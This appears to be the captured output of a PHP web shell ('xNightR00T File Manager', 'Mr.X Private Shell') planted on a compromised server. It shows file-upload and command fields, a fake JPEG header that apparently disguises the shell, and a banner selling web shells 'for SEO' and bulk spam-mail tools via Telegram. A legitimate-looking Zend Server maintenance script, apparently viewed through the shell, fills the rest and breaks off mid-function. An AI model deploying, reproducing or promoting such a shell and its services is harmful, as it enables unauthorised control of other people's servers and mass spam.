xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php 

	ini_set("error_reporting", E_ALL);
	ini_set("output_buffering", 0);
	ini_set("max_execution_time", 60 * 60); // one hour timeout
	ini_set("html_errors", 0);
	ini_set("memory_limit", -1);

	
	define('ZS_RETENTION_UNLIMITED', -1);
	
	if(function_exists('zend_disable_statistics')){
		zend_disable_statistics();
	}
	
	if(function_exists('zray_disable')){
		zray_disable(true);
	}

	function logMessage($msg) {
        // If no timezone set, use the machine one 
        // by reading the TZ environment variable
        $date_timezone = zend_get_cfg_var("date.timezone");
        if(!$date_timezone) {
            $machineTZ = getenv("TZ");
            // set timezone not for IBMI, on those systems we use the PHP settings. bug #ZSRV-17536
            if($machineTZ && !in_array(PHP_OS, array('AIX', 'OS400'))) {
                date_default_timezone_set($machineTZ);
            }
        }
		$fLog = fopen(zend_get_cfg_var("zend.log_dir") . "/zs_maintenance.log", "a+");
		fwrite($fLog,"[" . strftime("%c", time()) . "] " . $msg . PHP_EOL);
		fclose($fLog);
	}
	
	function error($msg) {
		$msg = "ERROR: " . $msg;
		logMessage($msg);
	}
	
	function warning($msg) {
		$msg = "WARNING: " . $msg;
		logMessage($msg);
	}
	
	function notice($msg) {
		$msg = "NOTICE: " . $msg;
		logMessage($msg);	
	}
	
	/**
	 * Filesize in kbytes
	 * @param string $filename
	 * @return number
	 */
	function getFileSize($filename) {
		if (function_exists('zend_get_file_size')) {
			return zend_get_file_size($filename); //returns in kbytes
		} else {
			warning("Cannot find zend_get_file_size() function from ZendUtils");
			return (filesize($filename) / 1024);
		}
	}

	/**
	 * @param PDO $zsdDb 
	 */
	function handleAudit($auditDb) {
		$months = 0;
		foreach ($auditDb->query('SELECT PROPERTY_VALUE FROM ZSD_AUDIT_PROPERTIES WHERE PROPERTY_NAME = \'AUDIT_HISTORY\' LIMIT 1') as $row) {
			$months = (int) $row['PROPERTY_VALUE'];			
		}
		if ($months == ZS_RETENTION_UNLIMITED ) {
			notice("Audit history set to unlimited");
			return;
		}
		
		notice("Audit history set to $months months");
		try {
			
			$timeLimit = time() - ($months * 60 * 60 * 24 * 30);
			
			$auditDb->beginTransaction();
			
			$deleted = 0;
			$deleted += $auditDb->exec("DELETE FROM ZSD_AUDIT WHERE CREATION_TIME < $timeLimit");
			$auditDb->exec("DELETE FROM ZSD_AUDIT_PROGRESS WHERE CREATION_TIME < $timeLimit");
			
			$auditDb->commit();
			
			notice($deleted . " audit entries deleted");
			
		} catch (Exception $ex) {
			$auditDb->rollback();
			error($ex->getMessage());
			return;
		}
	
	}
	
	/**
	 * @param PDO $zsdDb
	 */
	function handleZSD($zsd) {
		
		try {
				
			$timeLimit = time() - (60 * 60 * 24 * 7); //delete entries older than a week
			
			$zsd->beginTransaction();
				
			$deleted = 0;
			$deleted = $zsd->exec("DELETE FROM ZSD_NODES WHERE IS_DELETED = 1 AND LAST_UPDATED < $timeLimit");

			$zsd->exec("DELETE FROM ZSD_NODES_PROFILE WHERE NOT EXISTS (SELECT NODE_ID FROM ZSD_NODES WHERE ZSD_NODES.NODE_ID = ZSD_NODES_PROFILE.NODE_ID)");
			
			$zsd->commit();
				
			if ($deleted) {
				notice($deleted . " obsolete nodes entries deleted");
			}
				
		} catch (Exception $ex) {
			$zsd->rollback();
			error($ex->getMessage());
			return;
		}
	
	}
	
	/**
	 * 
	 * @param PDO $jqDb
	 */
	function handleJobqueue($jqDb) {
		
		if (!class_exists("ZendJobQueue")) {
			notice("Job Queue is not loaded. Will not run maintenace for it.");
			return;
		}
		
		$jqdIni = parse_ini_file(zend_get_cfg_var("zend.conf_dir") . '/jqd.ini');
		$history = (int) $jqdIni['zend_jobqueue.history'];
		$historyFailed = (int)  $jqdIni['zend_jobqueue.history_failed'];

		$failedStatues = array(
			ZendJobQueue::STATUS_FAILED,
			ZendJobQueue::STATUS_LOGICALLY_FAILED,
			ZendJobQueue::STATUS_TIMEOUT,
			ZendJobQueue::STATUS_FAILED_BACKEND,
			ZendJobQueue::STATUS_FAILED_URL,
			ZendJobQueue::STATUS_FAILED_RUNTIME,
			ZendJobQueue::STATUS_FAILED_START,
			ZendJobQueue::STATUS_FAILED_PREDECESSOR
		);
		
		$completedStatues = array(
			ZendJobQueue::STATUS_COMPLETED,
			ZendJobQueue::STATUS_OK			
		);
		
		notice("Job Queue history is $history days");
		notice("Job Queue failed history is $historyFailed");
		if (!$historyFailed) {
			$historyFailed = $history;
			notice("Job Queue failed history is set as history to $historyFailed");
		}
				
		$historyLimit = time() - ($history * 60 * 60 * 24); 
		$historyFailedLimit = time() - ($historyFailed * 60 * 60 * 24);
		
		$isSqlite = $jqDb->getAttribute(PDO::ATTR_DRIVER_NAME) == 'sqlite';
		
		if ($isSqlite) {
			$monDbPath = zend_get_cfg_var("zend.data_dir") . "/db/monitor.db";
			$jqDb->exec("ATTACH DATABASE '{$monDbPath}' as mondb;");
			$jobsForEventsQuery = "select distinct(job_id) from mondb.events_jobs";
		} else {
			$jobsForEventsQuery = "select distinct(job_id) from events_jobs";
		}
		
		$jqDb->beginTransaction();

		$jqDb->exec("DELETE FROM jobqueue_queue WHERE status = 2 AND id NOT IN (select distinct queue_id from jobqueue_job UNION select distinct queue_id from jobqueue_schedule)");

		try { 
			$deleted = 0;
			$deleted += $jqDb->exec("DELETE FROM jobqueue_job WHERE status IN (" . ZendJobQueue::STATUS_REMOVED . ") AND jobqueue_job.id NOT IN ({$jobsForEventsQuery})");
			if ($history) {
				if ($isSqlite) {
					$stmt = $jqDb->prepare("DELETE FROM jobqueue_job where status IN (" . implode(",", $completedStatues) .") AND persistent = 0 AND strftime('%s',end_time) - :historyLimit < 0 AND jobqueue_job.id NOT IN ({$jobsForEventsQuery})");
				} else {
					$stmt = $jqDb->prepare("DELETE FROM jobqueue_job where status IN (" . implode(",", $completedStatues) .") AND persistent = 0 AND UNIX_TIMESTAMP(end_time) - :historyLimit < 0 AND jobqueue_job.id NOT IN ({$jobsForEventsQuery})");
				}				
				$stmt->bindValue(":historyLimit", $historyLimit);
				$stmt->execute();
				$deleted += $stmt->rowCount();
			}
				
			if ($historyFailed) {
				if ($isSqlite) {
					$stmt = $jqDb->prepare("DELETE FROM jobqueue_job where status IN (" . implode(",", $failedStatues) .") AND persistent = 0 AND strftime('%s',end_time) - :historyLimit < 0 AND jobqueue_job.id NOT IN ({$jobsForEventsQuery})");
				} else {
					$stmt = $jqDb->prepare("DELETE FROM jobqueue_job where status IN (" . implode(",", $failedStatues) .") AND persistent = 0 AND UNIX_TIMESTAMP(end_time) - :historyLimit < 0 AND jobqueue_job.id NOT IN ({$jobsForEventsQuery})");
				}
				$stmt->bindValue(":historyLimit", $historyFailedLimit);
				$stmt->execute();
				$deleted += $stmt->rowCount();
			}
			
			if ($deleted) {
				$stmt = $jqDb->prepare("DELETE FROM jobqueue_job_retries where NOT EXISTS (select id from jobqueue_job where jobqueue_job.id = jobqueue_job_retries.job_id)");
				$stmt->execute();				
			}
			
			
			$jqDb->commit();
			
			notice($deleted . " jobqueue jobs deleted");
			
		} catch (Exception $ex) {
			$jqDb->rollBack();
			error($ex->getMessage());
			return;
		}
		
		
		// delete completed and failed jobs that exceed the db size limit
		
		$completedDbSize = (int) $jqdIni['zend_jobqueue.db_size_completed'];
		$failedDbSize = (int)  $jqdIni['zend_jobqueue.db_size_failed'];
		
		$completedDbSize *= 1024; // in KB
		$failedDbSize *= 1024; // in KB
		
		$avg = false;
		$res = $jqDb->query("select avg(data_size) as avg from (select data_size from jobqueue_job order by id ASC limit 10000) as j");
		foreach ($res as $row) {
			$avg = floatval($row['avg']);
		}	
		if (!$avg) {
			notice('No jobs to calculate average size');
		} else {		
			notice("Jobs average size is {$avg}kb");
			try {
				$res = $jqDb->query("select sum(data_size) as sum from jobqueue_job where status IN (" . ZendJobQueue::STATUS_COMPLETED . "," . ZendJobQueue::STATUS_OK . ")" );
				$sum = 0;
				foreach ($res as $row) {
					$sum = intval($row['sum']); // in KBytes
				}
				
				$sumMb = intval($sum / 1024);
				notice("Completed jobs take ~$sumMb MB in space");
				
				if ($sum > $completedDbSize) {
					
					$numToDelete = intval(($sum - $completedDbSize) / $avg);
					notice("Will need to delete $numToDelete successful jobs");
					$jqDb->query("DELETE from jobqueue_job where id in (select * from (select id from jobqueue_job where status IN (" . implode(",", $completedStatues)  . ") order by id ASC limit $numToDelete) as tmp_t) AND jobqueue_job.id NOT IN ({$jobsForEventsQuery})");
				}
				
				$res = $jqDb->query("select sum(data_size) as sum from jobqueue_job where status IN (" . implode(",", $failedStatues) . ")" );
				$sum = 0;
				foreach ($res as $row) {
					$sum = intval($row['sum']); // in KBytes
				}
				$sumMb = $sum / 1024; // now in MBYTES
				notice("Failed jobs take ~$sumMb MB in space");
				if ($sum > $failedDbSize) {
				
					$numToDelete = intval(($sum - $failedDbSize) / $avg);
					notice("Will need to delete $numToDelete failed jobs");
					$jqDb->query("DELETE from jobqueue_job where id in (SELECT * FROM (select id from jobqueue_job where status IN (" . implode(",", $failedStatues) . ") order by id ASC limit $numToDelete) AS tmp_t) AND jobqueue_job.id NOT IN ({$jobsForEventsQuery})");
				}
			} catch (Exception $ex) {
				error ("Cannot handle jobqueue database - " . $ex->getMessage());
			}
		} 
				
	}
	
	function cleanupJQInsights($statsdb)
	{		
		notice("Cleaning JQ Pulse stats");
		
		$jqdIni = parse_ini_file(zend_get_cfg_var("zend.conf_dir") . '/jqd.ini');
		if (!isset($jqdIni['zend_jobqueue.pulse.history'])) {
			$history = 0;
		} else {
			$history = (int) $jqdIni['zend_jobqueue.pulse.history'];
		}
		
		$lInfo = zem_serial_number_info(zend_get_cfg_var("zend.serial_number"), zend_get_cfg_var("zend.user_name"));
		$dataRetentionDays = editionDataRetentionDays($lInfo['edition']);
			
		$dailyDays = 1;
		$weeklyDays = 14;
		$monthlyDays = 0;
		if ($history) {
			$dailyDays = min(array($dailyDays, $history));
			$weeklyDays = min(array($weeklyDays, $history));
			$monthlyDays = $history;
		}
		
		if (isset($lInfo['edition'])) {
			notice(editionToString($lInfo['edition']) . " license detected");
			
			if (ZS_RETENTION_UNLIMITED != $dataRetentionDays) {
				$dailyDays = intval(min(array($dailyDays, $dataRetentionDays)));
				$weeklyDays = intval(min(array($weeklyDays, $dataRetentionDays)));
				$monthlyDays = $dataRetentionDays;
			} 
		} else {
			notice("License edition could not be detected");			
		}		
		
		$now = time();
		$dailyLimit = $now - $dailyDays * 86400;
		$weeklyLimit = $now - $weeklyDays * 86400;
		$monthlyLimit = $now - $monthlyDays * 86400;
		notice("Retention is {$dailyDays}D, {$weeklyDays}W, {$monthlyDays}M");
		
		$statsdb->beginTransaction();
		try {
			$deleted = $statsdb->exec("DELETE FROM jobqueue_executions_stats_daily where from_time < $dailyLimit");
			notice("Deleted $deleted entries from jobqueue_executions_stats_daily");
			$deleted = $statsdb->exec("DELETE FROM jobqueue_executions_stats_weekly where from_time < $weeklyLimit");
			notice("Deleted $deleted entries from jobqueue_executions_stats_weekly");
			
			if ($monthlyDays) {
				$deleted = $statsdb->exec("DELETE FROM jobqueue_executions_stats_monthly where from_time < $monthlyLimit");
				notice("Deleted $deleted entries from jobqueue_executions_stats_monthly");
			} else {
				notice("Not clearing entries from jobqueue_executions_stats_monthly");
			}
			
			$statsdb->commit();			
		} catch (Exception $ex) {
			$statsdb->rollback();
			error ("Cannot cleanup JQ Pulse - " . $ex->getMessage());
		} 
	}
	
	/**
	 *
	 * @param PDO $statsDb
	 */
	function handleStatistics($statsDb) {
		
		$zendConfDir = zend_get_cfg_var("zend.conf_dir");
		if (strpos(PHP_OS, "WIN") === 0) {
			$ini = parse_ini_file($zendConfDir . "/cfg/statistics.ini");
		}  else {
			$ini = parse_ini_file($zendConfDir . "/conf.d/statistics.ini");
		}
		$dataDir = $ini["zend_statistics.data_dir"];
		$days = (int) $ini["zend_statistics.history_daily"];
		$weeks = (int) $ini["zend_statistics.history_weekly"];
		$months = (int) $ini["zend_statistics.history_monthly"];		
		
		notice("Statistics cleanup: $days days, $weeks weeks, $months months, data dir at $dataDir");
		
		if (!$days) {
			error("Cannot find zend_statistics.history_daily directive");
			$days = 1;
			$weeks = 1;
			$months = 2;		
		}		
		
		if ($dataDir) {
			$files = glob($dataDir . "/*");
			$now = time();
			$deleted = 0;
			foreach ($files as $file) {
				$secs = 60 * 60 * 24 * $days;
				$diff = $now - filemtime($file);
				if ($diff > $secs) {
					$deleted++;
					unlink($file);
				}
			}
			notice("Statistics cleanup: $deleted statistics temporary files deleted");
		}
			
		$statsDb->beginTransaction();
	
		try {
			$deleted = 0;
			
			$deleted += $statsDb->exec("DELETE FROM stats_daily where from_time < " . (time() - (60 * 60 * 24 * $days)));
			$deleted += $statsDb->exec("DELETE FROM stats_weekly where from_time < " . (time() - (60 * 60 * 24 * 7 * $weeks)));
			$deleted += $statsDb->exec("DELETE FROM stats_monthly where from_time < " . (time() - (60 * 60 * 24 * 30 * $months)));
			
			
			notice($deleted . " statistics records deleted");
			
			$statsDb->commit();
			
		} catch (Exception $ex) {
			$statsDb->rollBack();
			error($ex->getMessage());	
			return;		
		}	

		cleanupJQInsights($statsDb);
		
	}
	
	/**
	 *
	 * @param PDO $monDb
	 * @param PDO $zsdDb
	 */
	function handleMonitor($monDb, $zsdDb) {
		
		notice("Started Monitor cleanup");
	
		if (!function_exists("zend_monitor_delete_old_issues")) {
			error("zend_monitor_delete_old_issues() function is not available");
			return;
		}
		$expiration = (int) ini_get("zend_monitor_ui.expiration_days");
		// get expiration also according to license if it is developer
		$lInfo = zem_serial_number_info(zend_get_cfg_var("zend.serial_number"), zend_get_cfg_var("zend.user_name"));
		if (isset($lInfo['edition']) && $lInfo['edition'] == 3) { // developer license limited to 2 weeks
			$expiration = 14;	
		}		
		
		$closedItemsExpiration = (int) ini_get("zend_monitor_ui.expiration_days_closed");
		notice("Cleaning up with expiration $expiration");
		$arr = zend_monitor_delete_old_issues($expiration, $closedItemsExpiration);
                $result = count($arr);
              	notice("$result old issues were deleted");
		
		$nodes = array();
		foreach ($zsdDb->query('SELECT NODE_ID FROM ZSD_NODES') as $row) {
			$nodes[] = (int) $row['NODE_ID'];
		}
		if ($nodes) {
			notice("Servers found - Node Id: " . implode(",", $nodes));
		} else {
			notice("No servers found in cluster");
		}
		zend_monitor_delete_obsolete_issues($nodes);
		zend_monitor_delete_old_traces();
		
	}
	
	/**
	 *
	 * @param PDO $devbarDb
	 */
	function cleanupObsoleteDevbarData($devbarDb, $highestIdToClean) {
		
		notice("Cleaning obsolete data from Z-Ray db from id $highestIdToClean");
		
		$requestIdDependentTables = array (
				"devbar_sql_queries" => "id"
				, "devbar_processing_breakdown" => "request_id"
				, "devbar_log_entries" => "id"
				, "devbar_functions_stats" => "id"
				, "devbar_monitor_events" => "id"
				, "devbar_superglobals_data" => "id"
				, "devbar_exceptions" => "id"
				, "devbar_user_data" => "id"
				, "devbar_extension_metadata" => "id"
				
		);
		
		
		$where = "request_id NOT IN (SELECT id from devbar_requests)";
		if ($highestIdToClean > 0) {
			$where .= " OR request_id <= $highestIdToClean";
		}
		
		foreach ($requestIdDependentTables as $tableName => $idField) {
			$q = "DELETE FROM $tableName WHERE NOT EXISTS (SELECT 1 FROM devbar_requests WHERE devbar_requests.id = $tableName.request_id)";
			//notice($q);
			$effected = $devbarDb->exec($q);
			notice("Deleted $effected rows from $tableName");
		}
		
		$effected = $devbarDb->exec("DELETE FROM devbar_requests_urls WHERE 
				NOT EXISTS (SELECT id FROM devbar_requests where devbar_requests.url_id = devbar_requests_urls.id)");
		notice("Deleted $effected rows from devbar_requests_urls");
		
		$effected = $devbarDb->exec("DELETE FROM devbar_sql_statements WHERE 
				NOT EXISTS (SELECT id FROM devbar_sql_queries where devbar_sql_queries.prepared_statement_id = devbar_sql_statements.id)");
		notice("Deleted $effected rows from devbar_sql_statements");
		
		$effected = $devbarDb->exec("DELETE FROM devbar_backtrace WHERE 
				NOT EXISTS (SELECT 1 from devbar_sql_queries WHERE devbar_sql_queries.backtrace_id = devbar_backtrace.id) 
				AND NOT EXISTS (SELECT 1 from devbar_log_entries WHERE devbar_log_entries.backtrace_id = devbar_backtrace.id)");
		notice("Deleted $effected rows from devbar_backtrace");
		
		// notify the zray extensions cache that needs to be rebuilt
		touch(zend_get_cfg_var("zend.temp_dir") . "/zray_cache_update");
	}
	
	
	
	function devbarGetDbParameter($devbarDb, $paramName) {
		
		if ($devbarDb->getAttribute(PDO::ATTR_DRIVER_NAME) == 'sqlite') {
			foreach ($devbarDb->query("SELECT value FROM devbar_properties WHERE name = '$paramName'") as $row) {
				return $row['value'];
			}
		} else {
			foreach ($devbarDb->query("SELECT property_value FROM schema_properties WHERE property = '$paramName'") as $row) {
				return $row['property_value'];
			}
		}
		
		return false;
	}
	
	function devbarSetDbParameter($devbarDb, $paramName, $paramValue) {
		if ($devbarDb->getAttribute(PDO::ATTR_DRIVER_NAME) == 'sqlite') {
			$devbarDb->exec("INSERT OR REPLACE INTO devbar_properties VALUES ('$paramName', '$paramValue')");
		} else {
			$devbarDb->exec("INSERT INTO schema_properties VALUES ('$paramName', '$paramValue') ON DUPLICATE KEY UPDATE property_value='$paramValue'");
		}
	}
	
	/**
	 * 
	 * @param PDO $devbarDb
	 * @param float $cleanupFrequency
	 * @return boolean
	 */
	function devbarInsertCleanupTimestamp($devbarDb, $cleanupFrequency) {
		
		$lastCleanup = 0;
		try {
			
			$lastCleanup = intval(devbarGetDbParameter($devbarDb, 'URL_TRACKING_LAST_CLEANUP'));
			if ($lastCleanup > 0) {
				notice("Last cleanup at " . strftime("%c", $lastCleanup));
			} else {
				notice("This is the first cleanup...");
			}
			$now = time();
		        if ( abs($now - $lastCleanup) >= ($cleanupFrequency * 60 )) {
				devbarSetDbParameter($devbarDb, 'URL_TRACKING_LAST_CLEANUP', $now);
				return true;
			}		
		
		} catch (Exception $ex) {
			error("devbarInsertCleanupTimestamp: " . $ex->getMessage());
		}
		return false;		
	}
	
	function editionToString($num) {
		switch (intval($num)) {
		case 3: // developer standard
			return "Developer";
		case 6: // SMB
			return "SMB";
		case 8:
			return "Developer Enterprise";
		case 2: // developer/enterprise enterprise
			return "Enterprise";
		case 7: // Professional
			return "Professional";
		default:
			return "Unknown";
		}
	}	
	
	function editionDataRetentionDays($edition) {
		switch (intval($edition)) {
			case 3: // developer standard
			case 6: // SMB
				return 14;
			case 8: // developer enterprise
			case 2: // enterprise
				return ZS_RETENTION_UNLIMITED;
			case 7: // Professional
				return 90;
			default:
				return 14;
		}
	}
	
	/**
	 *
	 * @param PDO $apmDb
	 */
	function handleApm($apmDb) {
		
		notice("Started Url Insight cleanup");
		
		$zendConfDir = zend_get_cfg_var("zend.conf_dir");
		if (strpos(PHP_OS, "WIN") === 0) {
			$apmIni = parse_ini_file($zendConfDir . "/cfg/url_insight.ini");
		}  else {
			$apmIni = parse_ini_file($zendConfDir . "/conf.d/url_insight.ini");
		}
		
		$apmDataDir = $apmIni['zend_url_insight.data_dir'];
		notice("Data dir is $apmDataDir");
		$apmZrayInterval = $apmIni['zend_url_insight.zray_dumps_interval'];
		notice("Zray dump interval is $apmZrayInterval seconds");
		$now = time();
		$markFiles = glob($apmDataDir . "/*.apm.mark");
		$deleted = 0;
		foreach ($markFiles as $markFile) {
			$mtime = filemtime($markFile);
			if ($now - $mtime > 86400) { // mark files that are more than a day old
				unlink($markFile);
				$deleted++;
			}
		}
		notice("Deleted $deleted stale apm mark files");
		
		if (isset($apmIni['zend_url_insight.daily_history'])) {
			$dailyDays = floatval($apmIni['zend_url_insight.daily_history']);
			$weeklyDays = floatval($apmIni['zend_url_insight.weekly_history']);
			$monthlyDays = floatval($apmIni['zend_url_insight.monthly_history']);
		} else {
			$dailyDays = 2;
			$weeklyDays = 30;
			$monthlyDays = 365;
		}
		
		$lInfo = zem_serial_number_info(zend_get_cfg_var("zend.serial_number"), zend_get_cfg_var("zend.user_name"));
		$dataRetention = editionDataRetentionDays($lInfo['edition']);
		
		if (isset($lInfo['edition'])) {
			notice(editionToString($lInfo['edition']) . " license detected");
			if (ZS_RETENTION_UNLIMITED != $dataRetention) {
				$dailyDays = intval(min(array($dailyDays, $dataRetention)));
				$weeklyDays = intval(min(array($weeklyDays, $dataRetention)));
				$monthlyDays = intval(min(array($monthlyDays, $dataRetention)));	
			} 
		} else {
			notice("License edition could not be detected");
			$dailyDays = $weeklyDays = $monthlyDays = 14;
		}		
	
	
		$now = time();
		$dailyLimit = $now - $dailyDays * 86400;
		$weeklyLimit = $now - $weeklyDays * 86400;
		$monthlyLimit = $now - $monthlyDays * 86400;
		
		$deleted = $apmDb->exec("DELETE FROM urlinsight_requests_daily where from_time < $dailyLimit");
		notice("Deleted $deleted entries from urlinsight_requests_daily");
		$deleted = $apmDb->exec("DELETE FROM urlinsight_requests_weekly where from_time < $weeklyLimit");
		notice("Deleted $deleted entries from urlinsight_requests_weekly");
		$deleted = $apmDb->exec("DELETE FROM urlinsight_requests_monthly where from_time < $monthlyLimit");
		notice("Deleted $deleted entries from urlinsight_requests_monthly");		
		
		
		$deleted = $apmDb->exec("DELETE FROM urlinsight_resources_dictionary where id != 1 AND id NOT IN 
					(SELECT resource_id from urlinsight_requests_daily UNION SELECT resource_id from urlinsight_requests_weekly UNION SELECT resource_id from urlinsight_requests_monthly)");
		notice("Deleted $deleted entries from urlinsight_resources_dictionary");		
		
		$deleted = $apmDb->exec("DELETE FROM urlinsight_zray_requests where resource_id NOT IN (SELECT id from urlinsight_resources_dictionary)");					
		notice("Deleted $deleted entries from urlinsight_zray_requests");
	}
	
	/**
	 * Delete apm entries in a way that will leave maximum 5 last entries per resource
	 * @param PDO $apmDb
	 */
	function apmDeleteOldEntries($apmDb) {
		$apmDb->exec("create temporary table urlinsight_zrays_to_keep (id INTEGER PRIMARY KEY)");
		$apmDb->exec("INSERT INTO urlinsight_zrays_to_keep select id from urlinsight_zray_requests where (select count(*) from urlinsight_zray_requests as t where urlinsight_zray_requests.resource_id = t.resource_id and t.zray_request_time > urlinsight_zray_requests.zray_request_time) < 5");
		$deleted = $apmDb->exec("delete from urlinsight_zray_requests where id not in (select id from urlinsight_zrays_to_keep)");
		notice("Deleted $deleted old apm zray references");
	}
	
	/**
	 *
	 * @param PDO $devbarDb
	 * @param PDO $apmDb
	 */
	function handleDevbar($devbarDb, $apmDb) {
	
		notice("Started Z-Ray cleanup");
	
		$zendConfDir = zend_get_cfg_var("zend.conf_dir");
		
		$dbIni = parse_ini_file($zendConfDir . "/zend_database.ini");
		
		if (strpos(PHP_OS, "WIN") === 0) {
			$zrayIni = parse_ini_file($zendConfDir . "/cfg/zray.ini");
			$apmIni = parse_ini_file($zendConfDir . "/cfg/statistics.ini");
		}  else {
			$zrayIni = parse_ini_file($zendConfDir . "/conf.d/zray.ini");
			$apmIni = parse_ini_file($zendConfDir . "/conf.d/statistics.ini");			
		}
		
		apmDeleteOldEntries($apmDb);

		$zraysForApm = array();
		foreach ($apmDb->query("select distinct zray_request_id from urlinsight_zray_requests") as $row) {
			$zraysForApm[] = $row['zray_request_id'];
		}
		$devbarDb->exec("CREATE TEMPORARY table zrays_for_apm ( id INTEGER PRIMARY KEY)");
		foreach ($zraysForApm as $id) {
			$devbarDb->exec("INSERT INTO zrays_for_apm (id) VALUES ($id)");
		}
		notice(count($zraysForApm) . " zray apm dumps will not be cleaned");
		
		$cleanupFrequency = doubleval($zrayIni["zray.cleanup_frequency"]);
		if ($cleanupFrequency <= 0) {
			notice("Z-Ray scheduled cleanup is disabled");
			return;
		}
		
		if (!devbarInsertCleanupTimestamp($devbarDb, $cleanupFrequency)) {
			notice("$cleanupFrequency minutes did not pass since last cleanup");
			return;
		}
		
		$history = doubleval($zrayIni["zray.history_time"]);
		$maxDbSize = doubleval($zrayIni["zray.max_db_size"]);
		notice("Z-Ray cleanup: history: $history days, {$maxDbSize}GB max database size");
		
		$now = time();
		$devbarDb->beginTransaction();
		try {			
			if ($history > 0) {
				$timeLimitToKeep = $now - intval(($history * 24 * 60 * 60));
				$timeLimitToKeep *= 1000; // need to convert to msecs
				$deleted = $devbarDb->exec("DELETE FROM devbar_requests WHERE start_time < $timeLimitToKeep AND id NOT IN (select id from zrays_for_apm)");
				notice("Deleted $deleted requests from devbar_requests according to history limit");
			}		
	
			// clean according to db size
			$sizeSoFar = 0;
			$highestIdToClean = 0;
			
			$sizesSum = 0;
			foreach ($devbarDb->query("SELECT sum(data_size) as data_size FROM devbar_requests") as $row) {
				$sizesSum = (int) $row['data_size'];
			}
			notice("Db sizes sum is $sizesSum");
			
			if ($sizesSum <= 0) {
				$sizeApproximationFactor = 0;
			}
			
			if ($sizesSum > 0) {
				if ($devbarDb->getAttribute(PDO::ATTR_DRIVER_NAME) == 'sqlite') {
					$zendDataDir = zend_get_cfg_var("zend.data_dir");
					$dbDiskSize = getFileSize($zendDataDir . "/db/devbar.db");
					notice("Db disk size is $dbDiskSize");
									
					$sizeApproximationFactor = $dbDiskSize / $sizesSum;
					
				} else {
					
					$dbName = $dbIni['zend.database.name'];
					$dbTablesSize = 0;
					foreach ($devbarDb->query("SELECT table_schema, round(sum(data_length + index_length) / 1024) as sum from information_schema.tables where table_schema = '{$dbName}' AND table_name LIKE 'devbar%'") as $row) {
						$dbTablesSize = $row['sum'];
					}
					notice("Db tables size is $dbTablesSize");
					
					$sizeApproximationFactor = $dbTablesSize / $sizesSum;				
				}			
			}
			
			
			if (intval($sizeApproximationFactor) > 0) {
				notice("Database size factor is $sizeApproximationFactor");
				
				$stmt = $devbarDb->prepare("SELECT id, (data_size * :factor) as data_size FROM devbar_requests ORDER BY id DESC");
				$stmt->bindValue(":factor", $sizeApproximationFactor);
				$stmt->execute();
						
				foreach ($stmt->fetchAll() as $row) {
					$sizeSoFar += (int) $row['data_size'];
					
					if ($sizeSoFar > $maxDbSize * 1024 * 1024) {
						$highestIdToClean = (int) $row['id'];
						break;
					}
				}
			}
			if (!$highestIdToClean) { // we did not exceed space limit
				notice("Z-Ray data size is currently " . intval($sizeSoFar / 1024) . "MB");
				foreach ($devbarDb->query("SELECT MIN(id) as id FROM devbar_requests") as $row) {
					$highestIdToClean = (int) $row['id'];
					$highestIdToClean--;
				}
			} else {		
				notice("According to max db size - will delete requests with id less than " . ($highestIdToClean + 1));
				$deleted = $devbarDb->exec("DELETE FROM devbar_requests WHERE id <= $highestIdToClean");
				notice("Delete $deleted requests from db accroding to disk space limit");
			}
			
			cleanupObsoleteDevbarData($devbarDb, $highestIdToClean);		
		
			$devbarDb->commit();
			
			// cleanup zray pointers in apm db
			$zraysLeft = array();
			foreach ($devbarDb->query("SELECT id from devbar_requests") as $row) {
				$zraysLeft[] = $row['id'];
			}
			notice(count($zraysLeft) . " Zrays left in db");
			if ($zraysLeft) {
				$chunks = array_chunk($zraysLeft, 2);
			}
			
			notice("Finished Z-Ray cleanup");
			
		} catch (Exception $ex) {
			$devbarDb->rollBack();
			error("Cannot clean Z-Ray db -" . $ex->getMessage());
		}
	}	
	
	function sortFilesByMtime($file1, $file2) {
		$mtime1 = filemtime($file1);
		$mtime2 = filemtime($file2);
		if ($mtime1 == $mtime2) {
			return 0;
		}
		return ($mtime1 < $mtime2) ? -1 : 1;	
	}
	
	/**
	 *
	 * @param PDO $traceDb
	 */
	function handleCodeTracing($traceDb) {
	
		notice("Started Code Trace cleanup");
		
		$zendConfDir = zend_get_cfg_var("zend.conf_dir");
		if (strpos(PHP_OS, "WIN") === 0) {
			$ini = parse_ini_file($zendConfDir . "/cfg/codetracing.ini");
		}  else {
			$ini = parse_ini_file($zendConfDir . "/conf.d/codetracing.ini");
		}
		
		$maxSpace = (int) $ini["zend_codetracing.max_disk_space"];
		$directory = zend_get_cfg_var('zend.data_dir') . '/' . $ini['zend_codetracing.dump_file'];
		$directory = dirname($directory);
		$files = glob($directory . "/*.*");
		
		$totalSize = 0;
		foreach ($files as $file) {
			$totalSize += getFileSize($file);
		}
		$totalSize = (int) ($totalSize / 1024 ); // to MB
		notice("Total disk space used - {$totalSize}MB");
		if ($totalSize > $maxSpace) {
			
			// first delete all amf files
			$files = glob($directory . "/*db");
			notice("Deleting " . count($files) . " db files" );
			$allOk = true;
			foreach ($files as $file) {
				$allOk = $allOk && unlink($file);
			}
			if (!$allOk) {
				error("Could not delete some db files");
			}
			
			// now start cleaning the rest of the code trace files
			$files = glob($directory . "/*.*");
			$totalSize = 0;
			foreach ($files as $file) {
				$totalSize += getFileSize($file);
			}
			$totalSizeMB = (int) ($totalSize / 1024); // to MB
			notice("Total disk space after trace db's cleanup - {$totalSizeMB}MB");
			if ($totalSizeMB > $maxSpace) {
				$allOk = true;
				usort($files, 'sortFilesByMtime');
				
				$filesDeleted = array();
				foreach ($files as $file) {
								
					$filesize = getFileSize($file);
					
					if (unlink($file)) {
